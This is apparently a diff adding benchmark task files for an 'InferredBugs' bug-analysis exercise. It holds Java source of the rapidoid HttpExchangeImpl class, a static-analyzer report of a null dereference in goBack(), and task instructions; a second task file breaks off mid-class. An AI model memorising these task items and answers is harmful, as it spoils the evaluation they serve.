+	public HttpExchangeImpl() {
+		reset();
+
+		this._body = data(body);
+		this._uri = data(uri);
+		this._verb = data(verb);
+		this._path = decodedData(path);
+		this._subpath = decodedData(subpathRange);
+		this._query = decodedData(query);
+		this._protocol = data(protocol);
+		this._params = multiData(params);
+		this._headers = multiData(headersKV);
+		this._cookies = multiData(cookies);
+		this._data = multiData(data);
+		this._files = binaryMultiData(files);
+	}
+
+	@Override
+	public synchronized void reset() {
+		super.reset();
+
+		isGet.value = false;
+		isKeepAlive.value = false;
+
+		verb.reset();
+		uri.reset();
+		path.reset();
+		query.reset();
+		protocol.reset();
+		body.reset();
+		multipartBoundary.reset();
+
+		params.reset();
+		headersKV.reset();
+		headers.reset();
+		cookies.reset();
+		data.reset();
+		files.reset();
+
+		parsedParams = false;
+		parsedHeaders = false;
+		parsedBody = false;
+
+		sessionId = null;
+
+		session = null;
+		router = null;
+
+		resetResponse();
+	}
+
+	private void resetResponse() {
+		writesBody = false;
+		bodyPos = -1;
+		hasContentType = false;
+		responses = null;
+		responseCode = -1;
+		redirectUrl = null;
+		error = null;
+		complete = false;
+	}
+
+	@Override
+	public synchronized MultiData params_() {
+		if (!parsedParams) {
+			if (!query.isEmpty()) {
+				PARSER.parseParams(input(), params, query_().range());
+			}
+
+			parsedParams = true;
+		}
+
+		return _params;
+	}
+
+	@Override
+	public synchronized MultiData headers_() {
+		if (!parsedHeaders) {
+			if (!headers.isEmpty()) {
+				PARSER.parseHeadersIntoKV(input(), headers, headersKV, cookies, helper());
+			}
+
+			parsedHeaders = true;
+		}
+
+		return _headers;
+	}
+
+	@Override
+	public synchronized MultiData cookies_() {
+		if (!parsedHeaders) {
+			if (!headers.isEmpty()) {
+				PARSER.parseHeadersIntoKV(input(), headers, headersKV, cookies, helper());
+			}
+
+			parsedHeaders = true;
+		}
+
+		return _cookies;
+	}
+
+	@Override
+	public synchronized MultiData data_() {
+		if (!parsedBody) {
+			PARSER.parseBody(input(), headersKV, body, data, files, helper());
+			parsedBody = true;
+		}
+
+		return _data;
+	}
+
+	@Override
+	public synchronized BinaryMultiData files_() {
+		if (!parsedBody) {
+			PARSER.parseBody(input(), headersKV, body, data, files, helper());
+			parsedBody = true;
+		}
+
+		return _files;
+	}
+
+	public synchronized Data subpath_() {
+		return _subpath;
+	}
+
+	@Override
+	public synchronized Data body_() {
+		return _body;
+	}
+
+	@Override
+	public synchronized Data uri_() {
+		return _uri;
+	}
+
+	@Override
+	public synchronized Data verb_() {
+		return _verb;
+	}
+
+	@Override
+	public synchronized Data path_() {
+		return _path;
+	}
+
+	@Override
+	public synchronized Data protocol_() {
+		return _protocol;
+	}
+
+	@Override
+	public synchronized Data query_() {
+		return _query;
+	}
+
+	public synchronized void setSubpath(int start, int end) {
+		subpathRange.setInterval(start, end);
+	}
+
+	@Override
+	public synchronized HttpExchangeImpl done() {
+		if (isAsync()) {
+			completeResponse();
+			conn.done();
+		}
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchangeBody send() {
+		conn.send();
+		return this;
+	}
+
+	@Override
+	public synchronized String toString() {
+		return "HttpExchange [uri=" + uri() + ", verb=" + verb() + ", path=" + path() + ", subpath=" + subpath()
+				+ ", query=" + query() + ", protocol=" + protocol() + ", body=" + body() + ", headers=" + headers()
+				+ ", params=" + params() + ", cookies=" + cookies() + ", data=" + data() + ", files=" + files() + "]";
+	}
+
+	@Override
+	public synchronized String verb() {
+		return verb_().get();
+	}
+
+	@Override
+	public synchronized String uri() {
+		return uri_().get();
+	}
+
+	@Override
+	public synchronized String path() {
+		return path_().get();
+	}
+
+	@Override
+	public synchronized String subpath() {
+		return subpath_().get();
+	}
+
+	@Override
+	public synchronized String query() {
+		return query_().get();
+	}
+
+	@Override
+	public synchronized String protocol() {
+		return protocol_().get();
+	}
+
+	@Override
+	public synchronized String body() {
+		return body_().get();
+	}
+
+	@Override
+	public synchronized Map<String, String> params() {
+		return params_().get();
+	}
+
+	@Override
+	public synchronized String param(String name) {
+		return U.notNull(params_().get(name), "PARAM[%s]", name);
+	}
+
+	@Override
+	public String param(String name, String defaultValue) {
+		return U.or(params_().get(name), defaultValue);
+	}
+
+	@Override
+	public synchronized Map<String, String> headers() {
+		return headers_().get();
+	}
+
+	@Override
+	public synchronized String header(String name) {
+		return U.notNull(headers_().get(name), "HEADERS[%s]", name);
+	}
+
+	@Override
+	public String header(String name, String defaultValue) {
+		return U.or(headers_().get(name), defaultValue);
+	}
+
+	@Override
+	public synchronized Map<String, String> cookies() {
+		return cookies_().get();
+	}
+
+	@Override
+	public synchronized String cookie(String name) {
+		return U.notNull(cookies_().get(name), "COOKIES[%s]", name);
+	}
+
+	@Override
+	public synchronized String cookie(String name, String defaultValue) {
+		return U.or(cookies_().get(name), defaultValue);
+	}
+
+	@Override
+	public synchronized Map<String, String> data() {
+		return data_().get();
+	}
+
+	@Override
+	public synchronized String data(String name) {
+		return U.notNull(data_().get(name), "DATA[%s]", name);
+	}
+
+	@Override
+	public String data(String name, String defaultValue) {
+		return U.or(data_().get(name), defaultValue);
+	}
+
+	@Override
+	public synchronized Map<String, byte[]> files() {
+		return files_().get();
+	}
+
+	@Override
+	public synchronized byte[] file(String name) {
+		return U.notNull(files_().get(name), "FILE[%s]", name);
+	}
+
+	@Override
+	public synchronized byte[] file(String name, byte[] defaultValue) {
+		return U.or(files_().get(name), defaultValue);
+	}
+
+	@Override
+	public synchronized Data host_() {
+		return headers_().get_("host");
+	}
+
+	@Override
+	public synchronized String host() {
+		return headers_().get("host");
+	}
+
+	public synchronized void setResponses(HttpResponses responses) {
+		this.responses = responses;
+	}
+
+	public synchronized void setSession(HttpSession session) {
+		this.session = session;
+	}
+
+	@Override
+	public synchronized HttpExchange addHeader(byte[] name, byte[] value) {
+		if (responseCode <= 0) {
+			responseCode(200);
+		}
+
+		super.write(name);
+		super.write(HEADER_SEP);
+		super.write(value);
+		super.write(CR_LF);
+
+		return this;
+	}
+
+	private HttpExchangeHeaders responseCode(int responseCode) {
+		if (this.responseCode > 0) {
+			assert startingPos >= 0;
+			output().deleteAfter(startingPos);
+		}
+
+		this.responseCode = responseCode;
+
+		startingPos = output().size();
+		output().append(getResp(responseCode).bytes());
+		hasContentType = false;
+		writesBody = false;
+		bodyPos = -1;
+
+		return this;
+	}
+
+	public synchronized void completeResponse() {
+
+		// TODO find better solution
+		if (complete) {
+			// after async req is done, it might be called to complete again, so exit
+			return;
+		}
+
+		U.must(responseCode >= 100);
+
+		write(new byte[0]);
+
+		U.must(bodyPos >= 0);
+
+		long responseSize = output().size() - bodyPos;
+		U.must(responseSize <= Integer.MAX_VALUE, "Response too big!");
+
+		int pos = startingPos + getResp(responseCode).contentLengthPos + 10;
+		output().putNumAsText(pos, responseSize, false);
+
+		closeIf(!isKeepAlive.value);
+
+		complete = true;
+	}
+
+	private HttpResponse getResp(int code) {
+		HttpResponse resp = responses.get(code, isKeepAlive.value);
+		assert resp != null;
+		return resp;
+	}
+
+	@Override
+	public synchronized HttpExchange addHeader(HttpHeader name, String value) {
+		addHeader(name.getBytes(), value.getBytes());
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchange setCookie(String name, String value, String... extras) {
+		String cookie = name + "=" + value;
+
+		if (extras.length > 0) {
+			cookie += "; " + U.join("; ", extras);
+		}
+
+		addHeader(HttpHeader.SET_COOKIE, cookie);
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchange setContentType(MediaType MediaType) {
+		U.must(!hasContentType, "Content type was already set!");
+
+		addHeader(HttpHeader.CONTENT_TYPE.getBytes(), MediaType.getBytes());
+
+		// this must be at the end of this method, because state might get restarted
+		hasContentType = true;
+
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchange plain() {
+		return setContentType(MediaType.PLAIN_TEXT_UTF_8);
+	}
+
+	@Override
+	public synchronized HttpExchange html() {
+		return setContentType(MediaType.HTML_UTF_8);
+	}
+
+	@Override
+	public synchronized HttpExchange json() {
+		return setContentType(MediaType.JSON_UTF_8);
+	}
+
+	@Override
+	public synchronized HttpExchange binary() {
+		return setContentType(MediaType.BINARY);
+	}
+
+	@Override
+	public synchronized HttpExchange download(String filename) {
+		addHeader(HttpHeader.CONTENT_DISPOSITION, "attachment; filename=\"" + filename + "\"");
+		addHeader(HttpHeader.CACHE_CONTROL, "private");
+		return binary();
+	}
+
+	public synchronized void ensureHeadersComplete() {
+		if (!writesBody) {
+			if (!hasContentType) {
+				html();
+			}
+			writesBody = true;
+			write(CR_LF);
+			bodyPos = output().size();
+		}
+	}
+
+	@Override
+	public synchronized HttpExchangeBody write(String s) {
+		ensureHeadersComplete();
+		return super.write(s);
+	}
+
+	@Override
+	public synchronized HttpExchangeBody writeln(String s) {
+		ensureHeadersComplete();
+		return super.writeln(s);
+	}
+
+	@Override
+	public synchronized HttpExchangeBody write(byte[] bytes) {
+		ensureHeadersComplete();
+		return super.write(bytes);
+	}
+
+	@Override
+	public synchronized HttpExchangeBody write(byte[] bytes, int offset, int length) {
+		ensureHeadersComplete();
+		return super.write(bytes, offset, length);
+	}
+
+	@Override
+	public synchronized HttpExchangeBody write(ByteBuffer buf) {
+		ensureHeadersComplete();
+		return super.write(buf);
+	}
+
+	@Override
+	public synchronized HttpExchangeBody write(File file) {
+		if (!hasContentType()) {
+			download(file.getName());
+		}
+
+		ensureHeadersComplete();
+		return super.write(file);
+	}
+
+	@Override
+	public synchronized HttpExchangeBody writeJSON(Object value) {
+		if (!hasContentType()) {
+			json();
+		}
+
+		ensureHeadersComplete();
+		return super.writeJSON(value);
+	}
+
+	@Override
+	public synchronized boolean isInitial() {
+		return conn.isInitial();
+	}
+
+	@Override
+	public synchronized ConnState state() {
+		return conn.state();
+	}
+
+	public synchronized boolean hasContentType() {
+		return hasContentType;
+	}
+
+	@Override
+	public synchronized HttpExchangeBody sendFile(File file) {
+		U.must(file.exists());
+		setContentType(MediaType.getByFileName(file.getAbsolutePath()));
+		write(file);
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchangeBody redirect(String url) {
+		responseCode(303);
+		addHeader(HttpHeader.LOCATION, url);
+		this.redirectUrl = url;
+		ensureHeadersComplete();
+		return this;
+	}
+
+	@Override
+	public synchronized String redirectUrl() {
+		return redirectUrl;
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders response(int httpResponseCode) {
+		return response(httpResponseCode, null, null);
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders response(int httpResponseCode, String response) {
+		return response(httpResponseCode, response, null);
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders response(int httpResponseCode, String response, Throwable err) {
+
+		responseCode(httpResponseCode);
+		ensureHeadersComplete();
+
+		if (U.production()) {
+			if (response != null) {
+				write(response);
+			}
+		} else {
+			String title = U.or(response, "Error occured!");
+			if (err != null) {
+				if (devMode()) {
+					HTMLSnippets.writeErrorPage(this, title, err);
+				} else {
+					HTMLSnippets.writeFullPage(this, title, "");
+				}
+			} else {
+				HTMLSnippets.writeFullPage(this, title, "<h1>The requested page cannot be found!</h1>");
+			}
+		}
+
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders startResponse(int httpResponseCode) {
+		return responseCode(httpResponseCode);
+	}
+
+	@Override
+	public synchronized String constructUrl(String path) {
+		return (U.hasOption("https") ? "https://" : "http://") + host() + path;
+	}
+
+	@Override
+	public synchronized String sessionId() {
+		if (sessionId == null) {
+			sessionId = cookie(SESSION_COOKIE, null);
+
+			if (sessionId != null && !session.exists(sessionId)) {
+				sessionId = null;
+			}
+
+			if (sessionId == null) {
+				sessionId = U.rndStr(50);
+				setCookie(SESSION_COOKIE, sessionId, "path=/");
+				session.openSession(sessionId);
+			}
+		}
+
+		return sessionId;
+	}
+
+	@Override
+	public synchronized Map<String, Object> session() {
+		return session.getSession(sessionId());
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders sessionSet(String name, Object value) {
+		if (value != null) {
+			session.setAttribute(sessionId(), name, value);
+		} else {
+			session.deleteAttribute(sessionId(), name);
+		}
+
+		return this;
+	}
+
+	@SuppressWarnings("unchecked")
+	@Override
+	public synchronized <T> T session(String name, T defaultValue) {
+		return U.or((T) session.getAttribute(sessionId(), name), defaultValue);
+	}
+
+	@SuppressWarnings("unchecked")
+	@Override
+	public synchronized <T> T session(String name) {
+		T value = (T) session.getAttribute(sessionId(), name);
+		U.notNull(value, "session[" + name + "]");
+		return value;
+	}
+
+	@SuppressWarnings("unchecked")
+	@Override
+	public synchronized <T> T sessionGetOrCreate(String name, Class<T> valueClass, Object... constructorArgs) {
+		T value = (T) session.getAttribute(sessionId(), name);
+
+		if (value == null) {
+			value = U.newInstance(valueClass, constructorArgs);
+			session.setAttribute(sessionId(), name, value);
+		}
+
+		return value;
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders closeSession() {
+		session.closeSession(sessionId());
+		sessionId = null;
+		return this;
+	}
+
+	@Override
+	public synchronized boolean hasSession() {
+		String sessId = cookie(SESSION_COOKIE, null);
+		return sessId != null && session.exists(sessId);
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders notFound() {
+		return response(404, "Error: page not found!");
+	}
+
+	@Override
+	public synchronized boolean isLoggedIn() {
+		return hasSession() && session(SESSION_USER, null) != null;
+	}
+
+	@Override
+	public synchronized IUser user() {
+		U.must(isLoggedIn(), "Must be logged in!");
+
+		return session(SESSION_USER);
+	}
+
+	@Override
+	public synchronized <T> T user(Class<T> userClass) {
+		IUser user = user();
+
+		T user2 = U.newInstance(userClass);
+
+		Cls.setPropValue(user2, "username", user.username());
+		Cls.setPropValue(user2, "email", user.email());
+		Cls.setPropValue(user2, "name", user.name());
+
+		return user2;
+	}
+
+	@Override
+	public synchronized boolean isAdmin() {
+		if (!isLoggedIn()) {
+			return false;
+		}
+
+		return Secure.isAdmin(username());
+	}
+
+	private String username() {
+		return isLoggedIn() ? user().username() : null;
+	}
+
+	@Override
+	public synchronized boolean isManager() {
+		if (!isLoggedIn()) {
+			return false;
+		}
+
+		return Secure.isManager(username());
+	}
+
+	@Override
+	public synchronized boolean isModerator() {
+		if (!isLoggedIn()) {
+			return false;
+		}
+
+		return Secure.isModerator(username());
+	}
+
+	@Override
+	public synchronized boolean hasRole(String role) {
+		if (!isLoggedIn()) {
+			return false;
+		}
+
+		return Secure.hasRole(username(), role);
+	}
+
+	@Override
+	public synchronized boolean isGetReq() {
+		return isGet.value;
+	}
+
+	@Override
+	public synchronized boolean isPostReq() {
+		return !isGet.value && verb().equals("POST");
+	}
+
+	@Override
+	public synchronized byte[] sessionSerialize() {
+		return UTILS.serialize(session);
+	}
+
+	@Override
+	public synchronized void sessionDeserialize(byte[] bytes) {
+		session = (HttpSession) UTILS.deserialize(bytes);
+	}
+
+	@Override
+	public synchronized OutputStream outputStream() {
+		return new HttpOutputStream(this);
+	}
+
+	@Override
+	public synchronized boolean devMode() {
+		if (U.dev()) {
+			return true;
+		}
+
+		if (U.production()) {
+			return false;
+		}
+
+		String host = host();
+		return host == null || host.equals("localhost") || host.equals("127.0.0.1") || host.startsWith("localhost:")
+				|| host.startsWith("127.0.0.1:");
+	}
+
+	@Override
+	public int responseCode() {
+		return this.responseCode;
+	}
+
+	@Override
+	public void run() {
+		router.dispatch(this);
+	}
+
+	public void setRouter(Router router) {
+		this.router = router;
+	}
+
+	@Override
+	public HttpExchange exchange() {
+		return this;
+	}
+
+	@Override
+	public boolean hasError() {
+		return error != null;
+	}
+
+	@Override
+	public Throwable error() {
+		return error;
+	}
+
+	@Override
+	public String pathSegment(int segmentIndex) {
+		return path().substring(1).split("/")[segmentIndex];
+	}
+
+	@Override
+	public HttpExchangeHeaders accessDeniedIf(boolean accessDeniedCondition) {
+		if (accessDeniedCondition) {
+			throw new SecurityException("Access denied!");
+		}
+		return this;
+	}
+
+	@Override
+	public HttpExchangeHeaders errorResponse(Throwable err) {
+		Throwable cause = U.rootCause(err);
+		if (cause instanceof SecurityException) {
+			return response(500, "Access Denied!", cause);
+		} else {
+			return response(500, "Internal server error!", cause);
+		}
+	}
+
+	@Override
+	public HttpExchangeHeaders authorize(Class<?> clazz) {
+		return accessDeniedIf(!Secure.canAccessClass(username(), clazz));
+	}
+
+	@Override
+	public boolean serveStatic() {
+		if (isGetReq()) {
+			String filename = path().substring(1);
+
+			if (filename.isEmpty()) {
+				filename = "index.html";
+			}
+
+			if (!filename.contains("..") && STATIC_RESOURCE_PATTERN.matcher(filename).matches()) {
+				URL res = U.resource("public/" + filename);
+				if (res != null) {
+					startResponse(200);
+					sendFile(new File(res.getFile()));
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	@Override
+	public HttpExchangeBody goBack(int steps) {
+
+		List<String> stack = session(SESSION_PAGE_STACK, null);
+		String dest = !stack.isEmpty() ? stack.get(stack.size() - 1) : "/";
+
+		for (int i = 0; i < steps; i++) {
+			if (stack != null && !stack.isEmpty()) {
+				stack.remove(stack.size() - 1);
+				if (!stack.isEmpty()) {
+					dest = stack.remove(stack.size() - 1);
+				}
+			}
+		}
+
+		return redirect(dest);
+	}
+
+	@SuppressWarnings("unchecked")
+	public HttpExchangeBody addToPageStack() {
+		List<String> stack = sessionGetOrCreate(SESSION_PAGE_STACK, ArrayList.class);
+
+		String last = !stack.isEmpty() ? stack.get(stack.size() - 1) : null;
+		String current = uri();
+
+		if (!U.eq(current, last)) {
+			stack.add(current);
+			if (stack.size() > 7) {
+				stack.remove(0);
+			}
+		}
+
+		return this;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `stack` last assigned on line 958 could be null and is dereferenced at line 959.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+HttpExchangeBody HttpExchangeImpl.goBack(int)
+
+### Procedure Id:
+org.rapidoid.http.HttpExchangeImpl.goBack(int):org.rapidoid.http.HttpExchangeBody.295a84ec9b54bf2a8eb5bb01a34e15f6
+
+### File:
+rapidoid-http/src/main/java/org/rapidoid/http/HttpExchangeImpl.java
+
+### Key:
+HttpExchangeImpl.java|goBack|NULL_DEREFERENCE
+
+### Node Key:
+cbf4abef6a7d17d1b80dfb598ec521f3
+
+### Hash:
+2834125fa3c2545497a7bbd1cfc966dc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7111/instruction.md b/inferredbugs-7111/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e984095bafdeef8fcee794d6e7ffbfc671a3f8e1
--- /dev/null
+++ b/inferredbugs-7111/instruction.md
@@ -0,0 +1,656 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rapidoid
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.rapidoid.http;
+
+/*
+ * #%L
+ * rapidoid-http
+ * %%
+ * Copyright (C) 2014 Nikolche Mihajlovski
+ * %%
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ * #L%
+ */
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.Map;
+
+import org.rapidoid.data.BinaryMultiData;
+import org.rapidoid.data.Data;
+import org.rapidoid.data.KeyValueRanges;
+import org.rapidoid.data.MultiData;
+import org.rapidoid.data.Range;
+import org.rapidoid.data.Ranges;
+import org.rapidoid.net.impl.ConnState;
+import org.rapidoid.net.impl.DefaultExchange;
+import org.rapidoid.net.mime.MediaType;
+import org.rapidoid.util.Constants;
+import org.rapidoid.util.U;
+import org.rapidoid.wrap.Bool;
+
+public class HttpExchangeImpl extends DefaultExchange<HttpExchange, HttpExchangeBody> implements HttpExchange,
+		Constants {
+
+	private final static HttpParser PARSER = U.singleton(HttpParser.class);
+
+	private static final byte[] HEADER_SEP = ": ".getBytes();
+
+	final Range uri = new Range();
+	final Range verb = new Range();
+	final Range path = new Range();
+	final Range query = new Range();
+	final Range protocol = new Range();
+
+	final Ranges headers = new Ranges(50);
+
+	private final KeyValueRanges params = new KeyValueRanges(50);
+	private final KeyValueRanges headersKV = new KeyValueRanges(50);
+	private final KeyValueRanges cookies = new KeyValueRanges(50);
+	private final KeyValueRanges data = new KeyValueRanges(50);
+	private final KeyValueRanges files = new KeyValueRanges(50);
+
+	final Range body = new Range();
+	final Bool isGet = new Bool();
+	final Bool isKeepAlive = new Bool();
+
+	private boolean parsedParams;
+	private boolean parsedHeaders;
+	private boolean parsedBody;
+
+	int total;
+	public int bodyPos;
+	private boolean writesBody;
+	private boolean hasContentType;
+	private int startingPos;
+	private HttpResponses responses;
+
+	final Range multipartBoundary = new Range();
+
+	/**********/
+
+	private final Range subpathRange = new Range();
+
+	private final Data _body;
+	private final Data _uri;
+	private final Data _verb;
+	private final Data _path;
+	private final Data _subpath;
+	private final Data _query;
+	private final Data _protocol;
+	private final MultiData _params;
+	private final MultiData _headers;
+	private final MultiData _cookies;
+	private final MultiData _data;
+	private final BinaryMultiData _files;
+
+	private int responseCode;
+
+	public HttpExchangeImpl() {
+		reset();
+
+		this._body = data(body);
+		this._uri = data(uri);
+		this._verb = data(verb);
+		this._path = decodedData(path);
+		this._subpath = decodedData(subpathRange);
+		this._query = decodedData(query);
+		this._protocol = data(protocol);
+		this._params = multiData(params);
+		this._headers = multiData(headersKV);
+		this._cookies = multiData(cookies);
+		this._data = multiData(data);
+		this._files = binaryMultiData(files);
+	}
+
+	@Override
+	public void reset() {
+		super.reset();
+
+		isGet.value = false;
+		isKeepAlive.value = false;
+
+		verb.reset();
+		uri.reset();
+		path.reset();
+		query.reset();
+		protocol.reset();
+		body.reset();
+		multipartBoundary.reset();
+
+		params.reset();
+		headersKV.reset();
+		headers.reset();
+		cookies.reset();
+		data.reset();
+		files.reset();
+
+		parsedParams = false;
+		parsedHeaders = false;
+		parsedBody = false;
+
+		total = -1;
+		writesBody = false;
+		bodyPos = -1;
+		hasContentType = false;
+		responses = null;
+		responseCode = -1;
+	}
+
+	@Override
+	public MultiData params_() {
+		if (!parsedParams) {
+			if (!query.isEmpty()) {
+				PARSER.parseParams(input(), params, query_().range());
+			}
+
+			parsedParams = true;
+		}
+
+		return _params;
+	}
+
+	@Override
+	public MultiData headers_() {
+		if (!parsedHeaders) {
+			if (!headers.isEmpty()) {
+				PARSER.parseHeadersIntoKV(input(), headers, headersKV, cookies, helper());
+			}
+
+			parsedHeaders = true;
+		}
+
+		return _headers;
+	}
+
+	@Override
+	public MultiData cookies_() {
+		if (!parsedHeaders) {
+			if (!headers.isEmpty()) {
+				PARSER.parseHeadersIntoKV(input(), headers, headersKV, cookies, helper());
+			}
+
+			parsedHeaders = true;
+		}
+
+		return _cookies;
+	}
+
+	@Override
+	public MultiData data_() {
+		if (!parsedBody) {
+			PARSER.parseBody(input(), headersKV, body, data, files, helper());
+			parsedBody = true;
+		}
+
+		return _data;
+	}
+
+	@Override
+	public BinaryMultiData files_() {
+		if (!parsedBody) {
+			PARSER.parseBody(input(), headersKV, body, data, files, helper());
+			parsedBody = true;
+		}
+
+		return _files;
+	}
+
+	public Data subpath_() {
+		return _subpath;
+	}
+
+	@Override
+	public Data body_() {
+		return _body;
+	}
+
+	@Override
+	public Data uri_() {
+		return _uri;
+	}
+
+	@Override
+	public Data verb_() {
+		return _verb;
+	}
+
+	@Override
+	public Data path_() {
+		return _path;
+	}
+
+	@Override
+	public Data protocol_() {
+		return _protocol;
+	}
+
+	@Override
+	public Data query_() {
+		return _query;
+	}
+
+	public void setSubpath(int start, int end) {
+		subpathRange.setInterval(start, end);
+	}
+
+	@Override
+	public HttpExchangeImpl done() {
+		conn.done();
+		return this;
+	}
+
+	@Override
+	public String toString() {
+		return "WebExchange [uri=" + uri() + ", verb=" + verb() + ", path=" + path() + ", subpath=" + subpath()
+				+ ", query=" + query() + ", protocol=" + protocol() + ", body=" + body() + ", headers=" + headers()
+				+ ", params=" + params() + ", cookies=" + cookies() + ", data=" + data() + ", files=" + files() + "]";
+	}
+
+	@Override
+	public String verb() {
+		return verb_().get();
+	}
+
+	@Override
+	public String uri() {
+		return uri_().get();
+	}
+
+	@Override
+	public String path() {
+		return path_().get();
+	}
+
+	@Override
+	public String subpath() {
+		return subpath_().get();
+	}
+
+	@Override
+	public String query() {
+		return query_().get();
+	}
+
+	@Override
+	public String protocol() {
+		return protocol_().get();
+	}
+
+	@Override
+	public String body() {
+		return body_().get();
+	}
+
+	@Override
+	public Map<String, String> params() {
+		return params_().get();
+	}
+
+	@Override
+	public String param(String name) {
+		return params_().get(name);
+	}
+
+	@Override
+	public Map<String, String> headers() {
+		return headers_().get();
+	}
+
+	@Override
+	public String header(String name) {
+		return headers_().get(name);
+	}
+
+	@Override
+	public Map<String, String> cookies() {
+		return cookies_().get();
+	}
+
+	@Override
+	public String cookie(String name) {
+		return cookies_().get(name);
+	}
+
+	@Override
+	public Map<String, String> data() {
+		return data_().get();
+	}
+
+	@Override
+	public String data(String name) {
+		return data_().get(name);
+	}
+
+	@Override
+	public Map<String, byte[]> files() {
+		return files_().get();
+	}
+
+	@Override
+	public byte[] file(String name) {
+		return files_().get(name);
+	}
+
+	@Override
+	public Data host_() {
+		return headers_().get_("host");
+	}
+
+	@Override
+	public String host() {
+		return headers_().get("host");
+	}
+
+	public void setResponses(HttpResponses responses) {
+		this.responses = responses;
+	}
+
+	@Override
+	public synchronized HttpExchange addHeader(byte[] name, byte[] value) {
+		if (responseCode <= 0) {
+			responseCode(200);
+		}
+
+		super.write(name);
+		super.write(HEADER_SEP);
+		super.write(value);
+		super.write(CR_LF);
+
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchangeHeaders responseCode(int responseCode) {
+		if (responseCode > 0) {
+			assert startingPos >= 0;
+			output().deleteAfter(startingPos);
+		}
+
+		this.responseCode = responseCode;
+
+		startingPos = output().size();
+		output().append(getResp(responseCode).bytes());
+		hasContentType = false;
+		writesBody = false;
+		bodyPos = -1;
+
+		return this;
+	}
+
+	public void completeResponse() {
+		U.must(responseCode >= 100);
+		long wrote = output().size() - bodyPos;
+		U.must(wrote <= Integer.MAX_VALUE, "Response too big!");
+
+		int pos = startingPos + getResp(responseCode).contentLengthPos + 10;
+		output().putNumAsText(pos, wrote, false);
+	}
+
+	private HttpResponse getResp(int code) {
+		HttpResponse resp = responses.get(code, isKeepAlive.value);
+		assert resp != null;
+		return resp;
+	}
+
+	@Override
+	public HttpExchange addHeader(HttpHeader name, String value) {
+		addHeader(name.getBytes(), value.getBytes());
+		return this;
+	}
+
+	@Override
+	public HttpExchange setCookie(String name, String value) {
+		addHeader(HttpHeader.SET_COOKIE, name + "=" + value);
+		return this;
+	}
+
+	@Override
+	public synchronized HttpExchange setContentType(MediaType MediaType) {
+		U.must(!hasContentType, "Content type was already set!");
+
+		addHeader(HttpHeader.CONTENT_TYPE.getBytes(), MediaType.getBytes());
+
+		// this must be at the end of this method, because state might get restarted
+		hasContentType = true;
+		
+		return this;
+	}
+
+	@Override
+	public HttpExchange plain() {
+		return setContentType(MediaType.PLAIN_TEXT_UTF_8);
+	}
+
+	@Override
+	public HttpExchange html() {
+		return setContentType(MediaType.HTML_UTF_8);
+	}
+
+	@Override
+	public HttpExchange json() {
+		return setContentType(MediaType.JSON_UTF_8);
+	}
+
+	@Override
+	public HttpExchange binary() {
+		return setContentType(MediaType.BINARY);
+	}
+
+	@Override
+	public HttpExchange download(String filename) {
+		addHeader(HttpHeader.CONTENT_DISPOSITION, "attachment; filename=\"" + filename + "\"");
+		addHeader(HttpHeader.CACHE_CONTROL, "private");
+		return binary();
+	}
+
+	private synchronized void ensureHeadersComplete() {
+		if (!writesBody) {
+			if (!hasContentType) {
+				html();
+			}
+			writesBody = true;
+			write(CR_LF);
+			bodyPos = output().size();
+		}
+	}
+
+	@Override
+	public HttpExchangeBody write(String s) {
+		ensureHeadersComplete();
+		return super.write(s);
+	}
+
+	@Override
+	public HttpExchangeBody write(byte[] bytes) {
+		ensureHeadersComplete();
+		return super.write(bytes);
+	}
+
+	@Override
+	public HttpExchangeBody write(byte[] bytes, int offset, int length) {
+		ensureHeadersComplete();
+		return super.write(bytes, offset, length);
+	}
+
+	@Override
+	public HttpExchangeBody write(ByteBuffer buf) {
+		ensureHeadersComplete();
+		return super.write(buf);
+	}
+
+	@Override
+	public HttpExchangeBody write(File file) {
+		if (!hasContentType()) {
+			download(file.getName());
+		}
+
+		ensureHeadersComplete();
+		return super.write(file);
+	}
+
+	@Override
+	public HttpExchangeBody writeJSON(Object value) {
+		if (!hasContentType()) {
+			json();
+		}
+
+		ensureHeadersComplete();
+		return super.writeJSON(value);
+	}
+
+	@Override
+	public boolean isInitial() {
+		return conn.isInitial();
+	}
+
+	@Override
+	public ConnState state() {
+		return conn.state();
+	}
+
+	public boolean hasContentType() {
+		return hasContentType;
+	}
